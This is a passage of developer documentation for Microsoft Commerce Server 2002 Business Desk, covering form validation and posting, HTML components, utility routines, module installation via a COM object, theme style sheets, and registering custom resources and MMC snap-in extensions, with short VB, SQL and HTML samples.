  • Enforcement of minimum and maximum allowable values for numbers, dates, and times. The min and max attributes of some types of child elements of the fields element are used to specify these restrictions, which are enforced when the input field loses focus.
  • Enforcement of a maximum and minimum length for text input. The maxlen and minlen attributes of some types of child elements of the fields element are used to specify these restrictions, which are enforced when the input field loses focus.
  • Enforcement of matching a particular pattern of characters. The charmask child element of some types of child elements of the fields element is used to specify such pattern restrictions, which are enforced when the input field loses focus.
  • Enforcement of certain formats. The format child element of some types of child elements of the fields element is used to specify such formats, which are enforced when the input field loses focus. Date and Numeric types support different formats.
  • Enforcement of required fields being supplied with a non-empty value. The required attribute of some types of child elements of the fields element is used to specify this restriction, which is enforced when the user commits changes.

The Business Desk user is notified of these types of errors as soon as they are detected, before the erroneous values are sent to the server for subsequent processing. Errors are reported using client-side modal dialog boxes that provide the Business Desk user with a standardized error message, or in the case of the pattern matching errors, a customized error message that is specified in the XML configuration information along with the pattern itself. Once the invalid data dialog box is dismissed, the field or fields that caused the error are marked to draw the attention of the Business Desk user to those fields.

Some types of data validation are more involved and must be handled by the module in a custom manner, usually on the server-side. These types of validation include uniqueness checking across records and cross-field validation. When these types of errors occur, the module is responsible for displaying an appropriate error message, re-displaying the page upon which the error was made, and restoring the state of that page.

A common technique for performing cross-field data validation in client-side code is to trap the OnChange event provided by many of the Business Desk HTCs. You can write a handler function for the OnChange event that, for example, performs consistency checking between different fields on the page, or which forces a user-supplied value into a more acceptable format. The following HTCs support the OnChange event:

  • DynamicTable
  • EditField
  • EditSheet
  • ListEditor


Saving Changes to Data

The most typical scenarios for saving changes to data is to save a record or set of records that have presumably been altered, or deleting one or more records. In general, saving changes could be the initial save of a new record, the saving of changes to an existing record, or the saving of similar changes to a set of records. In all of these cases, the save or delete action is usually initiated by a user pressing a task button.

The changed data is sent to the server to be saved using HTML forms with the POST method (as opposed to the GET method). Typically, for each server-side page used to process such changes to data, a unique HTML form is defined that specifies the arguments to be posted with the form. The following lines of HTML code show the definition of such a form:

<FORM ID='memberchange' METHOD='POST'>
    <INPUT TYPE='hidden' ...>
    ...
    <INPUT TYPE='hidden' ...>
</FORM>

The ACTION attribute is usually not specified for forms used for tasks within the Commerce Server Business Desk Framework. Rather, the association of particular forms and the pages designed to process them is accomplished through the module configuration files. For more information about how forms are associated with the pages designed to process them, see the postto section in the Module Configuration Files topic.

Normally, various edit type HTCs will be enclosed in the form and each will automatically create an INPUT element using the same name as the XML node with which the HTC is associated.

Other arguments for the form can be defined as INPUT elements with their type attributes set to "hidden". Other important attributes that need to be set are:

  • The id attribute, which allows access to the element through the Document Object Model (DOM).
  • The name attribute, which supplies a name to associate with the item of data when posting the form.
  • The value attribute, assuming that there is a default.

The id attribute and the name attribute can be assigned the same value.

The following line of HTML code illustrates a typical INPUT element within such a form, including a default value provided by an ASP variable:

<INPUT TYPE='hidden' ID='expdate'
       NAME='expdate' VALUE='<%= DefaultExpDate%>'>

Sometime before the form is submitted, the module code may assign a (new) value to the INPUT element using the DOM. The element is located using its id attribute and the (new) value is assigned to its value attribute. Once such value changes have been made for all appropriate input elements associated with the form, the form can be submitted and the values become available to the server page processing the changes through the ASP Request object.

A hidden value in a form is often set as a result of an event in the ListSheet HTML Component (HTC). For example, when the OnRowSelect event fires, the key ID for the selection can be placed in a hidden input field so that the selection is sent to an edit page when the form is posted by the task.

Occasionally, you may need to perform some special client-side processing after the task button is clicked, but before the form is posted. Most often, this involves requesting further information from the user, such as asking what type of new record to add, or confirming a modification or delete operation. Sometimes such processing can be performed automatically, without further user interaction. In any event, different processing paths are possible, including different data being submitted with the form, different forms being submitted, or the same form being submitted to a different page for processing.

An ONTASK attribute is defined for the FORM element to support this requirement. If the ONTASK attribute is defined for a FORM element being processed by the Business Desk Framework, the Framework attempts to execute the value provided for that attribute. Most often, the value is a routine name, allowing that routine to perform the required processing.

The following line of HTML code shows the same FORM element as above, though this time it has an ONTASK attribute defined:

<FORM ID='memberchange' METHOD='POST' ONTASK='OnMemberChange'>

When an ONTASK attribute is defined, the executed routine is responsible for submitting the form once the special processing is accomplished. The form can be submitted using the submit method of the form.

The final step in changes to data being persisted to a database occurs within ASP code on the server. A form is posted to an ASP page on the server, and it generally includes various fields of data that can be accessed using the ASP Request object. Using this object, the server-side script retrieves the data posted with the form and places it into an Active Data Objects (ADO) Recordset object to be persisted.

The information in the form will include any fields that were in an EditSheet contained by the form. This includes all EditFields and fields in the EditSheets, which will be sent along with the form.

The DynamicTable and ListSheet HTCs, however, return XMLlists instead of fields. These XMLlists, retrieved through the OnChange event object property XMLlist, needs to be assigned to a hidden form field (see the shipping page for an example).


HTML Components in Business Desk

The Commerce Server Business Desk Framework includes a number of HTML Components (HTCs) that are used extensively by the modules that ship with Commerce Server 2002. (HTCs are one of the ways in which the DHTML behaviors supported in Internet Explorer 5.5 can be implemented. The HTCs supplied with Commerce Server are more complex than typical Internet Explorer 5 behaviors.) The Business Desk HTCs are also intended for use in new Business Desk modules developed by third parties. Not only does such use save third parties significant effort in developing new modules, it benefits the users of Business Desk by promoting a common look-and-feel throughout an extended Business Desk.

Each of the HTCs that ship with Business Desk defines a unique set of events, properties, and methods. Each HTC also has a particular format in which it expects to be passed its configuration data, including both the configuration data used to control the behavior and display of the control, as well as the actual Web site data itself. Also, each HTC is instantiated within script on an ASP page in a slightly different manner. These details are provided in the Business Desk Reference in the section entitled HTML Components.

Each HTC has a variable named m_bDebug, defined at the beginning of the HTC file containing the script code for the HTC. If this variable is set to True, error messages display in alerts to help in debugging while a module is being developed. If the variable m_bDebug is set to False, the same error is sent in an onError event instead of being displayed in an alert. The onError event can then be trapped and handled in script code.

The following table describes the HTCs supplied with the Business Desk Framework, and provides links to more detailed information in the Programmer’s Reference.

HTML Component | Description
DynamicTable | Used for editing tabular data where editing is limited to the columns being displayed.
EditField | Used for editing individual items of data of various types.
EditSheet | Used to bundle together other controls that are used to edit data.
ExpressionBuilder | Describes the control used for creating named expressions that can be used for targeting. The ExpressionBuilder HTC makes use of an embedded version of the QueryBuilder HTC.
ListBox | Used for list-to-list copy and move operations.
ListEditor | Used for editing tabular data where the editing of individual records occurs in a separate table below the table containing the list.
ListSheet | Used to display a list of records and allows selection of one or more of those records for editing. This HTC is read-only.
QueryBuilder | Used to build a simple query.
TreeView | Used to display an XML structure in a tree format.

The ListSheet and TreeView HTCs are unique in that they both offer a mechanism for requesting additional XML data from the server without needing to reload the entire page containing the HTC in question.


Business Desk Utilities

An important aspect of the Commerce Server Business Desk Framework is the set of constants, global variables, and utility routines that provide an extensive base of shared code used by the modules that ship with Microsoft Commerce Server 2002, and which are intended for use by third party developers of new modules.

This shared code is made available to Business Desk modules in the form of include files, specified in the action pages for a module. Depending on the nature of the action page, such as whether it contains client-side script or server-side script, or both, different include files are appropriate for inclusion.

The details of the constants, global variables, and utility routines in the various include files are provided in the Business Desk Reference, in the following sections:

  • Include Files. Describes the include files that define the constants, global variables, and utility routines that constitute much of the Business Desk Framework. Explains when to include and when to not include each of these files.
  • Constants. Describes the constants defined in the various Business Desk include files. Defines which constants are available in client-side versus server-side script.
  • Global Variables. Describes the global variables defined in the various Business Desk include files. Defines which global variables are available in client-side versus server-side script.
  • Utility Routines. Describes the routines defined in the various Business Desk include files. Defines which routines are available in client-side versus server-side script.

    Many of the utility routines are shown in the following list, organized according to their intended use.

Action Page Routines:
ClearStatusText (client-side) | OpenHelp (client-side)
dGetAction (server-side) | SetPageTitleText (client-side)
HideStatusAnimation (client-side) | SetStatusText (client-side)
HideStatusLegend (client-side) | SetWaitDisplayText (client-side)
HideWaitDisplay (client-side) | ShowWaitDisplay (client-side)
List Page Routines:
execDefaultTask (client-side) | SetFindByHeight (client-side)
execTaskFromContextMenu (client-side) | ShowFindBy (client-side)
HideFindBy (client-side) | ToggleFindBy (client-side)
InsertTaskBar (server-side) |
Edit Page Routines:
InsertEditTaskBar (server-side) | SetDirty (client-side)
OpenEditPage (client-side) | SetRequired (client-side)
ResetSaveBtns (client-side) | SetValid (client-side)
Task Button Routines:
DisableTask (client-side) | EnableTask (client-side)
DisableTaskMenuItem (client-side) | EnableTaskMenuItem (client-side)
elGetTaskBtn (client-side) | SetTaskTooltip (client-side)
EnableAllTaskMenuItems (client-side) | ToggleTask (client-side)
EnableAllTasks (client-side) |
Context Menu Routines:
clickContextMenuItem (client-side) | showContextMenu (client-side)
closeContextMenu (client-side) | toggleContextMenuHighlight (client-side)
General Utility Routines:
AddClass (client-side) | nGetYear (client-side)
BDHALsizeButtons (client-side) | RemoveClass (client-side)
BDHALsizeSelects (client-side) | ReplaceClass (client-side)
bGetPubRequired (client-side) | SetPubRequired (client-side)
bHasClass (client-side) | sFormatString (client-side)
bIsDate (client-side) | sFormatString (server-side)
dtGetDate (client-side) | sGetFormattedDate (client-side)
GetSiteConfigField (server-side) | sRelURL2AbsURL (server-side)
nGetDay (client-side) | xmlGetResource (server-side)
nGetMonth (client-side) | xmlGetSiteTermsValue (client-side)
Security Routines:
bDenySecurityForTask (server-side) |
bDenySecurityForElement (server-side) |
bInAdministratorGroup (server-side) |
CheckSecurityForModule (server-side) |
FinishWithXMLSecurityErrors (server-side) |
State Saving Routines:
ClearTemp (client-side) | dSetServerState (client-side)
dClearServerState (client-side) | GetTemp (client-side)
dGetServerState (client-side) | SetTemp (client-side)
Data Retrieval Routines:
oGetADOCommand (server-side) | xmlGetXMLFromQuery (server-side)
oGetADOConnection (server-side) | xmlGetXMLFromQueryEx (server-side)
rsGetRecordset (server-side) |
XML Conversion Routines:
dDictFromXML (client-side) | xmlMergeGroups2 (client-side)
dDictFromXML (server-side) | xmlMergeGroups2 (server-side)
sMergeGroups2 (client-side) | xmlMergeGroups3 (client-side)
sMergeGroups2 (server-side) | xmlMergeGroups3 (server-side)
sMergeGroups3 (client-side) | xmlMergeGroupsByID2 (client-side)
sMergeGroups3 (server-side) | xmlMergeGroupsByID3 (client-side)
xmlGetXMLFromRS (server-side) | xmlXMLFromDict (client-side)
xmlGetXMLFromRSEx (server-side) | xmlXMLFromDict (server-side)
XML DOM Helper Routines:
AddCDATANode (client-side) | AddItemNode (server-side)
AddCDATANode (server-side) | AddWarningNode (server-side)
AddErrorNode (server-side) | xmlGetXMLDOMDoc (client-side)
AddItemNode (client-side) | xmlGetXMLDOMDoc (server-side)
XMLHTTP Routines:
dGetRequestXMLAsDict (server-side) | xmlPostFormViaXML (client-side)
xmlGetRequestXML (server-side) | xmlXMLFromForm (client-side)
Error Routines:
SetError (server-side) | sGetScriptError (server-side)
sGetADOError (server-side) | sGetXMLError (client-side)
sGetASPError (server-side) | sGetXMLError (server-side)
sGetErrorById (server-side) | ShowErrorDlg (client-side)
sGetScriptError (client-side) | ShowXMLNodeErrors (client-side)
International Routines:
ChangeControlStylesheet (client-side) | xmlGetCurrencies (server-side)
InsertControlStylesheet (server-side) | xmlGetLanguages (server-side)


Business Desk Source Code

Source code for all modules used by a particular Web site is available within the folder (and its sub-folders) associated with the virtual directory of that instance of Business Desk. This source code can serve as a useful model when building a new Business Desk module.

The following table correlates folders within the Business Desk virtual root folder with the various modules available in Business Desk, and with other code that constitutes the Business Desk Framework. As a developer of a new Business Desk module, you may find it useful to analyze which existing modules contain functionality most similar to what you need to construct, and then "steal" code from those modules.

Business Desk Folders Module (Category), or Contains…
\analysis\
 Reports (Analysis)

Completed Reports (Analysis)

\application\
 Data Codes (Orders)
\assets\
 Contains numerous GIF files used in the modules for task buttons, required and invalid icons, and so on.

View the file icon_inventory.htm for a nicely arranged summary of the contents.

\AuthFiles\
 Contains files related to the Authentication Service – not to relevant to Business Desk module development.
\Catalogs\
 Catalog Designer (Catalogs) – Designer sub-folder

Catalog Editor (Catalogs) – Editor sub-folder

\catalogsets\
 Catalog Sets (Catalogs)
\common\
 Contains the shared files used from multiple modules in different folders.
\config\
 Contains the Business Desk configuration files. This includes the master configuration file and the various module configuration files.
\docs\
 Contains the files that constitute the Business Desk help system. Individual help topics are in the "htm" sub-folder.
\exprarch\
 Contains files required for the proper operation of the ExpressionBuilder and QueryBuilder HTCs.
\include\
 Contains various Business Desk global include files intended for use in different kinds of module files. For more information about the files in this folder, see Include Files.

Most module include files should reside within the folder associated with the module.

\marketing\
 Campaign Expressions (Campaigns)

Campaign Manager (Campaigns)

List Manager (Campaigns)

Target Group (Campaigns)

Reference Tables (Campaigns)

\orders\
 Basket Manager (Orders)

Order Status (Orders)

\organizations\
 Organizations (Users)
\productionrefresh\
 Publish (Catalogs)

Publish Transactions (Orders)

Publish Campaigns (Campaigns)

\Profiles\
 Profile Designer (Users)
\shipping\
 Shipping Methods (Orders)
\tax\
 Tax Rates (Orders)
\users\
 Users (Users)

The following table correlates folders within the Widgets folder within the Commerce Server installation folder with the various HTML Components (HTCs) available for use in Business Desk.

Note

  • You cannot change the name of the Widgets virtual directory in a Commerce Server installation.
HTC (Widget) Folders Contains source code for…
\editHTC\
 DynamicTable HTC

EditField HTC (and the HTCs for the different types)

EditSheet HTC

ListEditor HTC

\exprbldrHTC\
 ExpressionBuilder HTC

QueryBuilder HTC

\listHTC\
 ListBox HTC

ListSheet HTC

TreeView HTC

\OWC\
 Executable for the Office Web Controls (OWC).
\profile\
 ProfileDesigner HTC - not documented and not intended for use by third parties.


Automating Module Installation

The Commerce Server SDK includes a COM object designed to help automate the installation of new Business Desk modules. This may be useful in situations where a new module needs to be added to a number of different instances of Business Desk. The source files for this COM object are located in the folder "<install folder>\SDK\Samples\Management\Business Desk Installer".

The BizDeskModuleInstall object is capable of being called from both C/C++ code, and automation clients such as Visual Basic.

Note that this object relies on the SiteConfig object to determine the list of applications installed in a site.

The BizDeskModuleInstall object is externally creatable. Create this object using the ProgID CommerceSDK.BizDeskModuleInstall.

The Type Library for this object, once built, will be: Microsoft Commerce Server 2002 SDK BizDesk Module Install Type Library. The DLL name is: BizDeskModuleInstall.dll.

The BizDeskModuleInstall object implements the following four methods:

Init, IsBizDesk, AddModule, RemoveModule

To see a sample of how these methods can be invoked, see the Sample Code section.

These methods can return a number of different custom COM errors, which can be found in the Error Table section at the end of this topic.

Init Method

Use this method to initialize the state of the BizDeskModuleInstall object, establishing the instance of the Business Desk upon which the other methods will operate.

Definition

HRESULT Init(
  BSTR bstrIisVDirName
)

Parameters

bstrIisVDirName
[in] A BSTR containing the name of the virtual directory in Internet Information Services (IIS) that corresponds to the application selected by the user.

IsBizDesk Method

Use this method to determine whether or not the selected IIS application is a Business Desk application. This is accomplished by determining whether the "./config/bizdesk.xml" file exists in the application.

Definition

HRESULT IsBizDesk(
  VARIANT* bRetVal
);

Parameters

bRetVal
[out, retval] The address of a Boolean used to return a value indicating whether or not the IIS virtual directory specified in the Init method contains an instance of the Business Desk. A value of True indicates that it is an instance of the Business Desk. A value of False indicates that it is not an instance of Business Desk.

AddModule Method

Use this method to add a new Business Desk module to the instance of the Business Desk specified in the call to the Init method.

Definition

HRESULT AddModule(
  BSTR bstrCategory,
  BSTR bstrConfigPath,
  VARIANT bOverwrite,
  VARIANT* bSuccess
);

Parameters

bstrCategory
[in] A BSTR containing the name of the category into which the new module should be installed.
bstrConfigPath
[in] A BSTR containing the full path to the module configuration file.
bOverwrite
[in] A Boolean value indicating whether or not to overwrite an existing module configuration file. A value of True indicates that any existing module configuration file will be overwritten. A value of False prevents any overwriting from occurring.

If an existing module configuration file is overwritten, a backup of that file will be placed in a _backup folder within the config folder.

bSuccess
[out, retval] The address of a Boolean used to return a value indicating whether the method was successful. A value of True indicates success. A value of False indicates a failure, in which case the HRESULT will contain further details.

RemoveModule Method

Use this method to remove the specified module from the instance of the Business Desk specified in the call to the Init method.

Definition

HRESULT RemoveModule(
  BSTR bstrCategory,
  BSTR bstrModulePath,
  VARIANT* bSuccess
);

Parameters

bstrCategory
[in] A BSTR containing the name of the category from which the specified module is to be removed.

If the category is empty after removing the module, the category will also be removed.

bstrModulePath
[in] A BSTR containing the path of the folder containing the files associated with the module being removed. The path must be specified relative to the "config" folder.
bSuccess
[out, retval] The address of a Boolean used to return a value indicating whether the method was successful. A value of True indicates success. A value of False indicates a failure, in which case the HRESULT will contain further details.

Sample Code

The following sample code shows how the methods of the BizDeskModuleInstall object can be invoked. This sample shows the invocation of the AddModule method, with the invocation of the RemoveModule method commented out.

Dim bRet As Boolean
Dim oBizInstall As Object
set oBizInstall = CreateObject ("CommerceSDK.BizDeskModuleInstall")
oBizInstall.Init "adbizdesk"
If oBizInstall.IsBizDesk Then
    bRet = oBizInstall.AddModule("MyCategory", _
                                 "d:\temp\module.xml", True)
    'bRet = oBizInstall.RemoveModule("MyCategory", "module.xml")
End If

Error Table

The following table describes the errors that can be returned from the methods of the BizDeskModuleInstall object.

Constant (32-bit value) | Description
S_OK (00000000) | Returned when a method completes successfully.
E_FILE_EXISTS (80041001) | Returned when the module configuration file already exists in the specified location.
E_NOT_CS_APPLICATION (80041002) | Returned when the specified IIS Application is not a Commerce Server application.
E_FILE_NOT_FOUND (80041003) | Returned when the module configuration file cannot be found.
E_APP_NOT_FOUND (80041004) | Returned with the specified IIS Virtual Directory cannot be found.
E_UNHANDLED (80041005) | Returned when an unhandled error occurs.
E_INVALID_MODULE (80041006) | Returned when the specified module does not exist.
E_INIT_MOD_INSTALL_FIRST (80041007) | Returned if the IsBizDesk, AddModule, or RemoveModule methods are called before the Init method is called.
E_INVALID_CATEGORY_FOR_MODULE (80041008) | Returned when an invalid category is specified.
E_IMPROPER_CS_APP (80041009) | Returned when a configuration inconsistency is detected between Commerce Server and IIS. The BizDeskModuleInstall object must be run locally on the same machine where the physical Business Desk files exist.


Customizing Style Sheets

Cascading style sheets, found in files with .css extensions, allow the appearance of whole classes of visual HTML elements to be controlled from one central location. This includes, for example, the background colors and fonts used for various classes of elements.

Commerce Server Business Desk makes extensive use of two such style sheet files: Include\bizdesk.css and Include\navtree.css. The former is used to control the look of the content pane, and the latter is used to control the look of the navigation pane. Together, these two style sheets define a Business Desk "theme". Different themes can be chosen on the home page of Business Desk.

Microsoft Commerce Server 2002 comes with two themes defined: the default theme and a high-contrast theme, the latter of which is provided to improve accessibility. Additional themes can be added using the instructions provided in this topic.

The files Include\bizdesk.css and Include\navtree.css are interfaces to style sheet files in the Include\styles folder. The default theme is implemented by the files Default_bizdesk.css and Default_navtree.css, and the high-contrast theme is implemented by the files Hicont_bizdesk.css and Hicont_navtree.css.

You can change the appearance of Business Desk in two ways. The first way, which is recommended only for very minor changes, is to make modifications to the existing style sheet files for either the default or high-contrast themes.

The second way is to introduce an entirely new theme. You can create new themes by using following the steps, which are also included as comments in the ASP file Welcome.asp:

  1. Make copies of the pair of style sheet files that will provide the best starting point for developing your own theme. Typically, this will be the files Default_bizdesk.css and Default_navtree.css. The copies must be named using a common prefix that you choose. For example, Graytheme_bizdesk.css and Graytheme_navtree.css, for a grayscale theme.
  2. Modify the styles in the new files to your liking. It is probably best to change only colors, borders, and fonts.
  3. Add a new option element in the appropriate location in the ASP file Welcome.asp (look for where these instructions are repeated in that file). The value of the value attribute must be set to the file name prefix you have chosen; to continue the earlier example, you would set the value attribute to graytheme_. The data for the option element should be set to the theme name you want displayed in the drop-down control on the home page, perhaps "Shades of Gray."

For more information about the styles defined in the style sheet files, see Style Sheet Reference.

Important

  • Extreme care should be exercised when changing styles because undesired effects might occur in other areas of Business Desk.


Integrating Custom Resources

A Microsoft Commerce Server 2002 resource is a software package that provides functionality to the applications in a Commerce Server site, and that needs to expose one or more configuration options to a system administrator. Given the latter requirement, the most obvious choice for how to expose the configuration options is through Commerce Server Manager. This section describes how to integrate a custom resource that you develop into Commerce Server Manager so that it can be administered in the same way that other Commerce Server resources are administered.

Another important aspect of the integration process is the enabling of easy deployment of the particular configuration settings using Commerce Server Site Packager. Depending on the complexity of the configuration data, and on decisions regarding where this configuration data is maintained, the deployment aspects of integration range from effortless to the implementation of a particular Component Object Model (COM) interface.

This section contains:

  • Adding a Custom Resource. Describes the steps required to configure the Administration database so that the configuration data associated with a custom resource can be maintained within it.
  • Levels of Integration for a Custom Resource. Describes the different levels of integration that are available to developers of custom resources.
  • Other Sources of Information About Microsoft Management Console. Provides information about where to learn more about the Microsoft Management Console (MMC), including more information about how to build MMC snap-in extensions.


Adding a Custom Resource

The process of adding a custom resource, and its corresponding configuration values, to the Administration database is a two-step process. First, the schema for the custom resource and its properties must be defined. Second, an instance of the custom resource and its particular property values must be added.

The first step consists of adding rows to the schema tables: SystemProps and ExtendedProps. The second step consists of adding corresponding rows to the three resource instance tables: ResourceProps, Resources, and SiteResources.

This section provides details regarding how these rows should be added.

This section contains:

  • Modifying the Resource Schema Tables. Describes how the resource schema tables should be modified as the first step in adding a custom resource and its properties to the Administration database.
  • Modifying the Resource Instance Tables. Describes how the resource instance tables should be modified as the second step in adding a custom resource and its properties to the Administration database.


Modifying the Resource Schema Tables

When a custom resource is added for management within Commerce Server Manager it is necessary to add new rows to the SystemProps and ExtendedProps tables in the Administration database (MSCS_Admin). New rows in the SystemProps table correspond to new resources. New rows in the ExtendedProps table correspond to properties associated with the new resources.

For more information about the columns of the SystemProps and ExtendedProps tables, see SystemProps Table and ExtendedProps Table, respectively.

The Site Status sample in the Commerce Server 2002 Software Development Kit (SDK) includes a pair of files that show one way to add a row representing a new resource to the SystemProps table. The file SiteStatusInit.sql includes the following SQL command, which inserts a new row and initializes the required column values (lines wrapped here for readability):

IF NOT EXISTS(SELECT s_ClassName FROM SystemProps
              WHERE s_ClassName = 'MSCS_SDKSiteStatus')
insert into SystemProps (s_Name, s_ClassName,
                         s_ResourceType, f_ResourceFlags,
                         f_PupFlags, s_ProgIDSnapin)
                  VALUES('', 'MSCS_SDKSiteStatus',
                         'SDKSiteStatus', 6,
                         0, 'CommerceSDK.SiteStatus')

The file InstallSiteStatus.vbs provides an example of one way to run the previous SQL command:

Dim WshShell
Set WshShell = Wscript.CreateObject("Wscript.Shell")
sCmdLine = "osql /S (local) /U sa /P /d MSCS_Admin /i SiteStatusInit.sql"
WshShell.Run sCmdLine, 1, True

The file SiteStatusInit.sql in the Site Status sample in the SDK also includes several SQL commands for adding property schema information to the ExtendedProps table. The following code excerpt shows one of the three properties added in this file (lines wrapped here for readability):

IF NOT EXISTS(SELECT s_PropertyName FROM ExtendedProps
              WHERE s_PropertyName = 's_AppName')
insert into ExtendedProps VALUES ('SDKSiteStatus', 's_AppName',
                                  0, 1, 0,
                                  'SDK SiteStatus Application Name',
                                  8200, '', 's_AppName')


Modifying the Resource Instance Tables

When a new resource is being added for management within Commerce Server Manager it is necessary to add new rows to the ResourceProps, Resources, and SiteResources tables in the Administration database (MSCS_Admin). Taken together, new rows in these tables define a particular instance of a new resource, allowing Commerce Server Manager to display the new resource in the correct location within the scope-pane hierarchy.

These three tables should only be modified using the administration objects GlobalConfig and SiteConfig. Do not modify them directly in SQL Server Enterprise Manager or using SQL scripts.

For more information about the columns of the ResourceProps, Resources, and SiteResources tables, see ResourceProps Table, Resources Table, and SiteResources Table, respectively.

Depending on whether the new resource is a global resource or a site resource, a different mechanism is used to migrate values already added to the SystemProps and ExtendedProps tables into these three tables.

The Site Status sample in the Commerce Server 2002 Software Development Kit (SDK) includes a file named InstallSiteStatus.vbs. This file provides an example of how the SiteConfig object is used to migrate the table values, resulting in a new resource (and corresponding snap-in extension) appearing within the Site Resources folder of the named site ("Retail" in this example). The following code, modified slightly from how it appears in the file InstallSiteStatus.vbs, shows how to use the SiteConfig object in this way:

SSite5Name = "Retail"
sResourceName = "Site Open/Close Applications"

' Initialize the SiteConfig to the selected site.
Dim oSiteCfg
Set oSiteCfg = CreateObject("Commerce.SiteConfig")
oSiteCfg.Initialize sSiteName

' Add the SiteStatus resource to the resource tables.
' Note: The string "MSCS_SDKSiteStatus" must match the
'       corresponding s_ClassName value in the SystemProps table.
oSiteCfg.CreateComponentConfig sResourceName, "MSCS_SDKSiteStatus"
oSiteCfg.Fields(sResourceName).Value.Fields("s_Description") = _
                                            "SDK Site Status Resource"
oSiteCfg.SaveConfig
Set oSiteCfg = Nothing

To add a new resource to the Global Resources within Commerce Server Manager, you only need to change the example as follows (significant changes are shown in bold font):

sResourceName = "Site Open/Close Applications"

' Initialize the GlobalConfig to the selected site.
Dim oGlobalCfg
Set oGlobalCfg = CreateObject("Commerce.GlobalConfig")
oGlobalCfg.Initialize  ' no site name

' Add the SiteStatus resource to the resource tables.
' Note: The string "MSCS_SDKSiteStatus" must match the
'       corresponding s_ClassName value in the SystemProps table.
oGlobalCfg.CreateServiceConfig sResourceName, "MSCS_SDKSiteStatus"
oGlobalCfg.Fields(sResourceName).Value.Fields("s_Description") = \
                                            "SDK Site Status Resource"
oGlobalCfg.SaveConfig
Set oGlobalCfg = Nothing


Levels of Integration for a Custom Resource

There are three different levels of integration at which a custom resource can engage Commerce Server Manager. These levels are distinguished by a trade-off between the development effort and the level of customization. The three levels of integration are as follows, shown in order of least development effort to greatest development effort:

  1. A generic resource, which can be implemented simply by adding appropriate rows to certain tables within the Administration database.
  2. A generic resource with a custom user interface. The user interface is implemented as a Microsoft Management Console (MMC) snap-in extension that extends Commerce Server Manager.
  3. A resource with a custom user interface, which stores its configuration values somewhere other than the Administration database.

When using the first two levels of integration, the configuration values for your resource are stored in the Administration database, and even using the third level, some of your configuration values may be stored in the Administration database. If you store the configuration values for your resource in the Administration database, and your Web pages need to access one or more of these values frequently, you should consider caching a copy of these values in memory.

The SiteConfig and GlobalConfig objects should be used to access configuration values stored in the Administration database. You cannot store these objects at the application scope because they use apartment threading. You should copy the frequently accessed values into a Dictionary object, and make the Dictionary object accessible through the IIS Application object.

This section discusses further details of these three levels of integration.

This section contains:

  • Using the Generic Properties Dialog Box. Provides additional information about the integration approach that requires the least development effort.
  • Integrating a Custom Snap-in Extension. Provides additional information about an integration approach that offers a customized user interface while preserving some of the ease-of-use advantages of generic resource integration.
  • Packaging Other Data. Provides additional information about the integration approach that allows configuration data to be stored somewhere other than the Administration database, yet still allows the resource to use Commerce Server Site Packager.


Using the Generic Properties Dialog Box

A generic resource, which can be implemented simply by adding appropriate rows to certain tables within the Administration database, has the following characteristics:

  • The configuration data for a generic resource can be changed using the Generic Resource dialog box in Commerce Server Manager. This dialog box presents a generic interface through which the configuration values of a generic resource can be changed. This eliminates the need to develop a user interface for configuring a new resource.
  • The configuration data is maintained within this database, and consequently, it is automatically packaged for deployment by Commerce Server Site Packager.
  • The configuration data can also be accessed and altered programmatically using the Commerce Server administration objects GlobalConfig, SiteConfig, and SiteConfigReadOnly.

This level of integration involves the least development effort, consisting of adding the rows to appropriate tables in the Administration database. For more information about how to add these rows, see Adding a Custom Resource.


Integrating a Custom Snap-in Extension

A resource with a custom user interface, which requires the development of a Microsoft Management Console (MMC) snap-in extension, has the following characteristics:

  • The configuration data for this level of integration is administered using a custom MMC snap-in extension that extends the MMC node corresponding to the new resource.
  • The configuration data is still maintained in the Administration database, preserving the ease of deployment advantages that that choice offers.
  • The configuration data can also be accessed and altered programmatically using the Commerce Server administration objects: GlobalConfig, SiteConfig, and SiteConfigReadOnly. For more information about these objects, see GlobalConfig Object, SiteConfig Object, and SiteConfigReadOnly Object, respectively.
  • The MMC snap-in extension should only use the Commerce Server administration objects, GlobalConfig, SiteConfig, and SiteConfigReadOnly, to display and change the configuration data in response to user interaction.
  • The ProgID of the snap-in extension is stored in the s_ProgIDSnapIn column of the Resources table in the Administration database. If the value of this column in the row for your resource is incorrect the Generic Resource dialog box may be invoked instead of your snap-in extension.

This section provides additional details about integrating a custom MMC snap-in extension into Commerce Server Manager.

This section contains:

  • Commerce Server Manager NodeType GUIDs. Provides details regarding specific globally unique identifiers (GUID) needed to extend the Commerce Server Manager snap-in.
  • System Registry Modifications. Describes the system registry modifications required to extend the Commerce Server Manager snap-in.
  • Working with the Clipboard. Describes additional information about Commerce Server Manager snap-in data provided to the new snap-in extension using Microsoft Clipboard.


Commerce Server Manager NodeType GUIDs

The file cssnapin.h defines the NodeType globally unique identifiers (GUID) used by the Microsoft Management Console (MMC) snap-in. They are also shown in the following table with their corresponding C++ constants and their data value.

The NodeType GUIDs in the first two rows are most significant in terms integrating an MMC snap-in extension associated with a new resource. If the new resource is global, the group resources GUID is required (first row), and if the new resource is associated with a specific site, the site resources GUID is required. The other NodeType GUIDs shown in the table are not significant in this context.

NodeType GUID Constants and Values | Description
CSnapInGUID_NODETYPE_Group_Resources 1503A832-6945-11D2-AFF4-00c04F8670E4 | Microsoft Commerce Server 2002 Group Resources Extend this node to add a new global resource.
CSnapInGUID_NODETYPE_Resource 1503A834-6945-11D2-AFF4-00c04F8670E4 | Microsoft Commerce Server 2002 Resource Extend this node under the appropriate site to add a new site resource.
CSnapInGUID_NODETYPE_Root 1503A830-6945-11D2-AFF4-00C04F8670E4 | Microsoft Commerce Server 2002
CSnapInGUID_NODETYPE_Group 1503A831-6945-11D2-AFF4-00C04F8670E4 | Microsoft Commerce Server 2002 Groups
CSnapInGUID_NODETYPE_Sites 1503A833-6945-11D2-AFF4-00C04F8670E4 | Microsoft Commerce Server 2002 Sites
CSnapInGUID_NODETYPE_Site 1503A835-6945-11D2-AFF4-00C04F8670E4 | Microsoft Commerce Server 2002 Site
CSnapInGUID_NODETYPE_Site_Resources 1503A836-6945-11D2-AFF4-00C04F8670E4 | Microsoft Commerce Server 2002 Site Resources

The file cssnapin.h also defines the following NodeType GUIDs:

Constant: CSnapInGUID_NODETYPE_Addresses
GUID: 1503A837-6945-11D2-AFF4-00C04F8670E4
Constant: CSnapInGUID_NODETYPE_Address
GUID: 1503A838-6945-11D2-AFF4-00C04F8670E4
Constant: CSnapInGUID_NODETYPE_AddrItem
GUID: 1503A839-6945-11D2-AFF4-00C04F8670E4
Constant: CResourceNodeItemGUID_NODETYPE
GUID: FAEBE804-5362-4F79-8353-34E1D1DC4D11
